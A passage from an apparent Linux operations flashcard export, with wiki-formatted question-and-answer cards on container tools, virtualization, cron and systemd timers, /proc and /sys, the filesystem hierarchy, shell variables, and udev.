A: A tool for building OCI container images without requiring a daemon or running containers. Works with Podman. Supports Dockerfile builds and scriptable image creation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is <html><code>skopeo</code></html>?
A: A tool for working with container registries — copying images between registries, inspecting images remotely, and deleting tags. Does not require a daemon or pulling the full image.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is the <html><code>/proc/1/cgroup</code></html> trick for detecting containers?
A: Inside a container, <html><code>/proc/1/cgroup</code></html> shows cgroup paths containing "docker", "kubepods", or "containerd" instead of the default <html><code>/</code></html> seen on a bare host. Not foolproof but commonly used.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[docker run instantiates five namespaces and a cgroup in ~100ms]]
Q: What is virtio?
A: A paravirtualization standard for I/O in virtual machines. virtio devices (network, disk, memory, GPU) provide near-native performance by avoiding full hardware emulation. Used by KVM/QEMU.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[KVM (Kernel-based Virtual Machine)]]
* [[What is QEMU?]]
* [[libvirt: virtualization management API and toolkit]]
Q: What is <html><code>virt-install</code></html>?
A: A command-line tool for creating KVM virtual machines. Defines CPU, memory, disk, network, and installation source in a single command. Part of the virt-manager package.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `virsh`?]]
* [[What is virtio?]]
* [[libvirt: virtualization management API and toolkit]]
Q: What is <html><code>virsh</code></html>?
A: The libvirt command-line interface. <html><code>virsh list --all</code></html> shows VMs. <html><code>virsh start/shutdown/destroy vm</code></html> manages lifecycle. <html><code>virsh console vm</code></html> attaches to the serial console.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[libvirt: virtualization management API and toolkit]]
* [[What is `virt-install`?]]
* [[What is virtio?]]
Q: What is live migration?
A: Moving a running VM from one physical host to another with minimal downtime. KVM/libvirt supports live migration over shared storage or with storage migration. The VM's memory is iteratively copied while it runs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[KVM (Kernel-based Virtual Machine)]]
* [[libvirt: virtualization management API and toolkit]]
* [[What is `virsh`?]]
Q: What is cloud-init?
A: An industry standard for initializing cloud instances on first boot. Handles SSH keys, hostname, network, user creation, package installation, and custom scripts. Reads metadata from the cloud provider.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Cloud-init standardizes provisioning across all distros]]
* [[What does the `init=` kernel parameter do?]]
Q: What is the difference between crun and runc?
A: Both are OCI-compliant container runtimes. runc is written in Go (reference implementation). crun is written in C, resulting in significantly lower memory overhead and faster container creation.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `crun`?]]
* [[OCI specifications define portable container images and execution]]
Q: What is the cron syntax format?
A: Five fields: <html><code>minute (0-59) hour (0-23) day-of-month (1-31) month (1-12) day-of-week (0-7, where 0 and 7 are Sunday)</code></html>. Followed by the command.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `0 2 * * 1-5` mean in cron?]]
* [[What are the cron special strings?]]
* [[What are the six fields of `crontab -l` output?]]
Q: What does <html><code>*/5 * * * *</code></html> mean in cron?
A: Run every 5 minutes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `0 0 1 * *` mean in cron?]]
* [[What is the cron syntax format?]]
Q: What does <html><code>0 2 * * 1-5</code></html> mean in cron?
A: Run at 2:00 AM Monday through Friday.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `0 0 1 * *` mean in cron?]]
* [[What is the cron syntax format?]]
Q: What does <html><code>0 0 1 * *</code></html> mean in cron?
A: Run at midnight on the first day of every month.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `0 2 * * 1-5` mean in cron?]]
* [[What does `*/5 * * * *` mean in cron?]]
* [[What is the cron syntax format?]]
Q: What is the difference between <html><code>crontab -e</code></html> and <html><code>/etc/crontab</code></html>?
A: <html><code>crontab -e</code></html> edits the per-user crontab (stored in <html><code>/var/spool/cron/</code></html>). <html><code>/etc/crontab</code></html> is the system-wide crontab that includes a user field (which user to run as) and uses a slightly different format.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/etc/cron.d/`?]]
* [[What are the six fields of `crontab -l` output?]]
Q: What is <html><code>/etc/cron.d/</code></html>?
A: A directory for drop-in cron files using the same format as <html><code>/etc/crontab</code></html> (with user field). Packages can install cron jobs here without modifying the system crontab.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `crontab -e` and `/etc/crontab`?]]
Q: What are the cron special strings?
A: <html><code>@reboot</code></html> (on startup), <html><code>@yearly</code></html>/<html><code>@annually</code></html> (Jan 1 midnight), <html><code>@monthly</code></html> (1st midnight), <html><code>@weekly</code></html> (Sunday midnight), <html><code>@daily</code></html>/<html><code>@midnight</code></html>, <html><code>@hourly</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the cron syntax format?]]
* [[What are the six fields of `crontab -l` output?]]
* [[What does `0 0 1 * *` mean in cron?]]
Q: What is anacron?
A: A cron complement for machines not running 24/7. It ensures daily, weekly, and monthly jobs run even if the machine was off at the scheduled time. Uses timestamps in <html><code>/var/spool/anacron/</code></html> to track execution.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you schedule tasks periodically?]]
Q: What does <html><code>OnCalendar=</code></html> do in a systemd timer?
A: Specifies a calendar-based schedule: <html><code>OnCalendar=*-*-* 02:00:00</code></html> (daily at 2 AM), <html><code>OnCalendar=Mon *-*-* 09:00:00</code></html> (Mondays at 9 AM), <html><code>OnCalendar=hourly</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a systemd timer?]]
* [[What is `timedatectl`?]]
* [[What does `Persistent=true` do in a systemd timer?]]
Q: What does <html><code>Persistent=true</code></html> do in a systemd timer?
A: If the timer was missed (machine was off), it triggers the service immediately at next boot. Similar to anacron behavior.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a systemd timer?]]
* [[What does `OnCalendar=` do in a systemd timer?]]
* [[systemctl enable vs start: boot persistence vs immediate activation]]
Q: How do you list active systemd timers?
A: <html><code>systemctl list-timers --all</code></html> shows all timers, their next/last trigger times, and associated units.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a systemd timer?]]
* [[What is the difference between cron and systemd timers?]]
* [[What are the main systemd unit types?]]
Q: What is /proc/loadavg?
A: Contains load averages (1, 5, 15 minutes), the count of runnable/total kernel scheduling entities, and the PID of the most recently created process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[/proc filesystem exposes detailed system and process state]]
* [[What kind of information one can find in /proc?]]
* [[What information can you find in `/proc/PID/status`?]]
Q: What is /proc/mounts?
A: Lists all currently mounted filesystems with device, mount point, filesystem type, and options. Equivalent to the output of <html><code>mount</code></html> command. Symlink to <html><code>/proc/self/mounts</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/proc/self`?]]
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[The /proc virtual filesystem]]
Q: What is /proc/cmdline?
A: Contains the kernel command line passed by the bootloader (GRUB). Shows all kernel parameters used during boot.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/proc/PID/cmdline`?]]
* [[What is the GRUB_CMDLINE_LINUX variable?]]
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
Q: What is /proc/version?
A: Contains the kernel version string, compiler version, and build date. Similar to <html><code>uname -a</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /proc/sys/?]]
* [[How do you find out which Kernel version your system is using?]]
Q: What does /proc/net/ contain?
A: Network-related pseudo-files: <html><code>tcp</code></html> and <html><code>tcp6</code></html> (open TCP connections), <html><code>udp</code></html>, <html><code>arp</code></html>, <html><code>route</code></html>, <html><code>dev</code></html> (interface statistics), <html><code>snmp</code></html> (protocol statistics), <html><code>sockstat</code></html> (socket summary).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What kind of information one can find in /proc?]]
* [[What is /proc/sys/?]]
* [[What is `/proc/self`?]]
Q: What is /proc/sys/?
A: A directory tree of tunable kernel parameters. Values can be read and written at runtime. Changes are temporary unless persisted via <html><code>sysctl.conf</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What kind of information one can find in /proc?]]
* [[The /proc virtual filesystem]]
* [[Explain /proc vs /sys vs /dev — what kind of tuning would you do in each?]]
Q: What is <html><code>sysctl</code></html>?
A: A command to read and write kernel parameters at runtime. <html><code>sysctl -a</code></html> lists all. <html><code>sysctl vm.swappiness=10</code></html> changes the value. Persistent changes go in <html><code>/etc/sysctl.conf</code></html> or <html><code>/etc/sysctl.d/*.conf</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[What is /proc/sys/?]]
* [[How to list kernel's runtime parameters?]]
Q: What does <html><code>net.ipv4.ip_forward</code></html> control?
A: Enables/disables IP packet forwarding between interfaces. Must be set to 1 for the system to act as a router, NAT gateway, or for container networking to work.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `ip route add default via 10.0.0.1` do?]]
* [[What is reverse path filtering?]]
* [[Container network namespace: isolation and connectivity model]]
Q: What does <html><code>kernel.panic</code></html> control?
A: Number of seconds the kernel waits before automatically rebooting after a panic. 0 means no auto-reboot (waits for manual intervention).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a "Kernel Panic" and how do you debug it post-mortem?]]
* [[What is the difference between a kernel oops and a kernel panic?]]
* [[What does the `quiet` kernel parameter do?]]
Q: What does <html><code>fs.file-max</code></html> control?
A: The system-wide maximum number of open file descriptors. Check current usage with <html><code>cat /proc/sys/fs/file-nr</code></html> (allocated, free, max).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the difference between ulimit -n and fs.file-max — how do they interact?]]
* [[What is the maximum number of file descriptors per process?]]
* [[File descriptor in Linux/Unix]]
Q: What is /sys/class/?
A: Contains symbolic links organized by device class (net, block, tty, input, etc.). For example, <html><code>/sys/class/net/eth0/</code></html> contains attributes for the eth0 network interface.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /proc/sys/?]]
* [[What is the purpose of /sys?]]
* [[What is /sys/block/?]]
Q: What is /sys/devices/?
A: The master tree of all devices in the system, organized by bus topology. <html><code>/sys/class/</code></html> and <html><code>/sys/block/</code></html> are symlinks into this hierarchy.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /sys?]]
* [[What is /sys/block/?]]
* [[What is /proc/sys/?]]
Q: What is /sys/block/?
A: Contains entries for each block device (sda, nvme0n1, etc.) with attributes like size, queue parameters, and partitions.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /sys/devices/?]]
* [[In which path can you find the system devices (e.g. block storage)?]]
* [[What is a block device?]]
Q: What does <html><code>net.core.somaxconn</code></html> control?
A: The maximum number of queued connection requests for a listening socket (backlog). Default was 128, often increased to 4096+ for high-traffic servers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `sysctl net.core.rmem_max` control?]]
* [[What kernel parameter controls the maximum number of connections tracked by netfilter?]]
* [[What is the maximum number of TCP connections a Linux server can handle?]]
Q: What is the FHS?
A: The Filesystem Hierarchy Standard — a specification defining the directory structure and contents of Unix-like systems. Maintained by the Linux Foundation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[What is the home directory subdirectory used for?]]
Q: What is the purpose of /bin?
A: Essential command binaries needed for single-user mode and booting (ls, cp, mount, bash). On modern systems with UsrMerge, <html><code>/bin</code></html> is a symlink to <html><code>/usr/bin</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the /bin directory contain?]]
* [[What is the PATH variable?]]
* [[What is the purpose of /usr?]]
Q: What is the purpose of /sbin?
A: Essential system administration binaries (fsck, fdisk, init, iptables). With UsrMerge, <html><code>/sbin</code></html> symlinks to <html><code>/usr/sbin</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /usr?]]
* [[What is the purpose of /bin?]]
* [[What is UsrMerge?]]
Q: What is the purpose of /usr?
A: Secondary hierarchy containing the majority of user applications, libraries, documentation, and shared data. <html><code>/usr/bin</code></html> for user commands, <html><code>/usr/sbin</code></html> for system admin commands, <html><code>/usr/lib</code></html> for libraries, <html><code>/usr/share</code></html> for architecture-independent data.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /bin?]]
* [[What is UsrMerge?]]
* [[Why was UsrMerge implemented?]]
Q: What is the purpose of /var?
A: Variable data — files that change during operation: logs (<html><code>/var/log</code></html>), mail (<html><code>/var/mail</code></html>), spool (<html><code>/var/spool</code></html>), caches (<html><code>/var/cache</code></html>), temporary persistent files (<html><code>/var/tmp</code></html>), runtime data (<html><code>/var/run</code></html> → <html><code>/run</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /run?]]
* [[What is the difference between /tmp and /var/tmp?]]
* [[What is the purpose of /srv?]]
Q: What is the purpose of /opt?
A: Add-on application software packages. Third-party software installs here to avoid conflicts with system packages. Each package gets its own subdirectory (e.g., <html><code>/opt/google/chrome</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of the `alternatives` system?]]
Q: What is the purpose of /srv?
A: Data served by the system — e.g., web server files (<html><code>/srv/www</code></html>), FTP files (<html><code>/srv/ftp</code></html>). Less commonly used; many distros use /var/www instead.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /var?]]
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[What is the purpose of /usr?]]
Q: What is the purpose of /dev?
A: Device files — special files representing hardware and virtual devices. Managed by <html><code>udev</code></html>. Contains block devices (disks), character devices (terminals), and special files (/dev/null, /dev/zero, /dev/urandom).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is udev?]]
* [[What is /dev/urandom?]]
* [[What is /dev/zero?]]
Q: What is the purpose of /run?
A: Runtime data since last boot — tmpfs mounted early in boot. Contains PID files, sockets, and other transient data. Replaced <html><code>/var/run</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /var?]]
* [[What is the purpose of /tmp?]]
* [[What is special about the /tmp directory when compared to other directories?]]
Q: What is the purpose of /home?
A: User home directories. Each user typically has <html><code>/home/username/</code></html>. Root's home is <html><code>/root</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the home directory subdirectory used for?]]
* [[What is the HOME variable?]]
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
Q: What is the purpose of /mnt and /media?
A: <html><code>/mnt</code></html> is for temporarily mounting filesystems (admin use). <html><code>/media</code></html> is for auto-mounted removable media (USB drives, CDs). Desktop environments use <html><code>/media/username/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[In Linux FHS (Filesystem Hierarchy Standard) what is the /?]]
* [[What is `mkfs` a frontend for?]]
* [[What does `findmnt` do?]]
Q: What is UsrMerge?
A: The initiative to merge <html><code>/bin</code></html> → <html><code>/usr/bin</code></html>, <html><code>/sbin</code></html> → <html><code>/usr/sbin</code></html>, <html><code>/lib</code></html> → <html><code>/usr/lib</code></html>, <html><code>/lib64</code></html> → <html><code>/usr/lib64</code></html>. The root-level directories become symlinks. Adopted by Fedora, Arch, Debian 12+, Ubuntu 23.04+, and others.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /usr?]]
* [[What is the purpose of /bin?]]
* [[What is the purpose of /sbin?]]
Q: Why was UsrMerge implemented?
A: Simplifies packaging (no need to decide between /bin and /usr/bin), eliminates path issues, simplifies initramfs construction, and aligns with how most modern systems actually use the filesystem.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /usr?]]
* [[What is the purpose of /bin?]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
Q: What is the PATH variable?
A: A colon-separated list of directories the shell searches for executable commands. Searched left to right. Example: <html><code>/usr/local/bin:/usr/bin:/bin</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /bin?]]
* [[What does `which` do?]]
Q: What is the HOME variable?
A: The current user's home directory path. Used by <html><code>cd</code></html> with no arguments and tilde expansion (<html><code>~</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does cd ~ accomplish?]]
* [[What each of the following commands does?]]
Q: What is the USER variable?
A: The current user's login name. Set by the login process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the SHELL variable?]]
* [[What is /etc/login.defs?]]
Q: What is the SHELL variable?
A: The path to the user's default login shell, as specified in <html><code>/etc/passwd</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the USER variable?]]
* [[What is the format of /etc/passwd?]]
* [[What is `/etc/shells`?]]
Q: What is the TERM variable?
A: Identifies the terminal type (e.g., <html><code>xterm-256color</code></html>, <html><code>screen</code></html>, <html><code>linux</code></html>). Applications use it to determine terminal capabilities via terminfo/termcap.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does "TTY" stand for?]]
* [[What is the PATH variable?]]
Q: What is the LANG variable?
A: Sets the default locale for the system (e.g., <html><code>en_US.UTF-8</code></html>). Affects date formats, number formats, sorting, and character encoding.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is LC_ALL?]]
Q: What is LC_ALL?
A: Overrides ALL locale variables (LANG, LC_TIME, LC_NUMERIC, etc.) unconditionally. Setting <html><code>LC_ALL=C</code></html> forces the POSIX locale for consistent behavior in scripts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `LC_ALL=C` before command do? In what cases it will be useful?]]
* [[What is the LANG variable?]]
Q: What is LD_LIBRARY_PATH?
A: A colon-separated list of directories the dynamic linker searches for shared libraries before the default paths. Useful for development but considered a security risk in production.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
* [[What is `ldconfig`?]]
* [[What is `ldd`?]]
Q: What is the EDITOR and VISUAL variable?
A: <html><code>EDITOR</code></html> specifies the default text editor for line-based editing. <html><code>VISUAL</code></html> specifies the full-screen editor. Programs check VISUAL first, falling back to EDITOR.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `env` command do?]]
* [[Where does the name "sed" come from?]]
Q: What does <html><code>$?</code></html> contain?
A: The exit status of the most recently executed foreground command. 0 = success, non-zero = failure.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `$!` contain?]]
* [[What does `$0` contain?]]
* [[What does `$$` contain?]]
Q: What does <html><code>$$</code></html> contain?
A: The process ID (PID) of the current shell. In a script, it's the PID of the script's shell process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `$0` contain?]]
* [[What does `$?` contain?]]
* [[What does `$#` contain?]]
Q: What does <html><code>$!</code></html> contain?
A: The PID of the last background process started.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `$?` contain?]]
* [[What does `$$` contain?]]
Q: What does <html><code>$0</code></html> contain?
A: The name of the script or shell. In an interactive shell, it's the shell name (e.g., <html><code>-bash</code></html> for login shell).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `$$` contain?]]
* [[What does `$?` contain?]]
* [[What does `$#` contain?]]
Q: What does <html><code>$#</code></html> contain?
A: The number of positional parameters (arguments) passed to the script or function.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `${#var}` do?]]
* [[What does `${var#pattern}` do?]]
* [[What does `$@` contain?]]
Q: What does <html><code>$*</code></html> contain?
A: All positional parameters. When double-quoted (<html><code>"$*"</code></html>), all parameters are joined into a single word separated by the first character of IFS.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `$@` and `$*`?]]
* [[What does `$@` contain?]]
Q: What does the <html><code>export</code></html> command do?
A: Makes a variable available to child processes (adds it to the environment). Without export, variables are local to the current shell.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `env` command do?]]
* [[What does `printenv` do?]]
Q: What does the <html><code>env</code></html> command do?
A: Without arguments, prints all environment variables. With arguments, runs a command in a modified environment: <html><code>env VAR=value command</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What does <html><code>printenv</code></html> do?
A: Prints environment variables. <html><code>printenv HOME</code></html> prints just the HOME variable. Unlike <html><code>env</code></html>, it doesn't run commands.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `export` command do?]]
Q: What is IFS?
A: Internal Field Separator — controls word splitting in Bash. Default is space, tab, newline. Changing IFS affects how the shell splits unquoted variables and command substitution output.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `$*` contain?]]
* [[How to read a file line by line and assigning the value to a variable?]]
Q: What is udev?
A: The device manager for the Linux kernel. It dynamically creates/removes device nodes in <html><code>/dev</code></html>, handles device events, and applies rules to set permissions, ownership, and create symlinks.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /dev?]]
* [[What is a udev rule?]]
* [[What is `udevadm monitor`?]]
Q: Where are udev rules stored?
A: <html><code>/usr/lib/udev/rules.d/</code></html> (defaults) and <html><code>/etc/udev/rules.d/</code></html> (overrides). Files are processed in lexical order; <html><code>/etc/</code></html> rules take precedence over <html><code>/usr/lib/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is udev?]]
* [[What command reloads udev rules without rebooting?]]
* [[What is a udev rule?]]
Q: What is a udev rule?
A: A line matching device attributes and performing actions. Example: <html><code>SUBSYSTEM=="net", ATTR{address}=="00:11:22:33:44:55", NAME="lan0"</code></html> renames a NIC based on MAC address. Match keys use <html><code>==</code></html>, assignment keys use <html><code>=</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is udev?]]
* [[Where are udev rules stored?]]
* [[What command reloads udev rules without rebooting?]]
Q: What is the difference between block and character devices?
A: Block devices (b): provide random access to fixed-size blocks with buffering (disks, partitions). Character devices (c): provide sequential unbuffered access byte-by-byte (terminals, serial ports, <html><code>/dev/null</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is a block device?]]
* [[What is /sys/block/?]]
* [[What is `lsblk`?]]
Q: What are major and minor device numbers?
A: Major number identifies the driver (e.g., 8 = SCSI/SATA disk). Minor number identifies the specific device instance (e.g., 0 = sda, 1 = sda1, 16 = sdb). Visible with <html><code>ls -l /dev/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the Linux kernel version numbering conventions?]]
* [[What is `lsblk`?]]
Q: What is <html><code>lsblk</code></html>?
A: Lists block devices in a tree format showing name, size, type (disk, partition, lvm), mountpoint, and other attributes. <html><code>lsblk -f</code></html> adds filesystem and UUID info.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you find the UUID of a block device?]]
* [[What is a block device?]]
* [[What is /sys/block/?]]
Q: What is the difference between fdisk, parted, and gdisk?
A: <html><code>fdisk</code></html>: traditional partitioning tool, supports MBR and GPT. <html><code>parted</code></html>: supports MBR and GPT with resize capability. <html><code>gdisk</code></html>: GPT-specific tool (like fdisk but for GPT only).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between GPT and MBR partition schemes, and which tools manage them?]]
* [[What is the difference between GPT and MBR?]]
* [[Storage stack: five transformations from raw disk to usable directory]]
Q: What is /dev/null?
A: A special device that discards everything written to it and returns EOF on read. The "bit bucket." Common usage: <html><code>command 2>/dev/null</code></html> discards stderr.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /dev/zero?]]
* [[What does `2>` do?]]
* [[Explain differences between `2>&-`, `2>/dev/null`, `|&`, `&>/dev/null`, and `>/dev/null…]]
Q: What is /dev/zero?
A: A special device that produces an infinite stream of null bytes (0x00) on read. Used to create empty files or zero-fill disks: <html><code>dd if=/dev/zero of=file bs=1M count=100</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /dev/null?]]
* [[What is the purpose of /dev?]]
* [[What is RAID 0?]]
Q: What is /dev/urandom?
A: A pseudo-random number generator that never blocks. Uses the kernel's CSPRNG (cryptographically secure PRNG). Suitable for most purposes including cryptographic key generation on modern kernels.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of /dev?]]
* [[How to generate a random string?]]
Q: What is the difference between /dev/random and /dev/urandom?
A: /dev/random blocks when the entropy pool is exhausted; /dev/urandom never blocks.
Historically:
* /dev/random: 'true' randomness, blocks when entropy low — used for long-lived crypto keys
* /dev/urandom: pseudo-random, never blocks — used for everything else
Modern reality (Linux 5.6+): Both use the same CSPRNG. /dev/random only blocks until the pool is initially seeded (at boot). After that, urandom and random are equivalent.
Recommendation: Use /dev/urandom for virtually everything. The only exception is generating long-lived keys on a freshly booted system with no entropy (rare). Use getrandom() syscall in code — it blocks only until initial seeding, then never blocks.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Which way of additionally feeding random entropy pool would you suggest for producing r…]]
* [[How to generate a random string?]]
Q: What command reloads udev rules without rebooting?
A: <html><code>udevadm control --reload-rules && udevadm trigger</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Where are udev rules stored?]]
* [[What is udev?]]
* [[What is `udevadm monitor`?]]
Q: What is <html><code>udevadm monitor</code></html>?
A: Watches udev events in real time — shows kernel uevents and udev rule processing. Useful for debugging device detection.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is udev?]]
* [[If I plug a new device into a Linux machine, where and how does the detection process s…]]
* [[What command reloads udev rules without rebooting?]]
Q: What is rsyslog?
A: The default syslog daemon on most Linux distributions. An enhanced version of syslogd with reliable delivery, TCP transport, content-based filtering, database output, and high performance.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
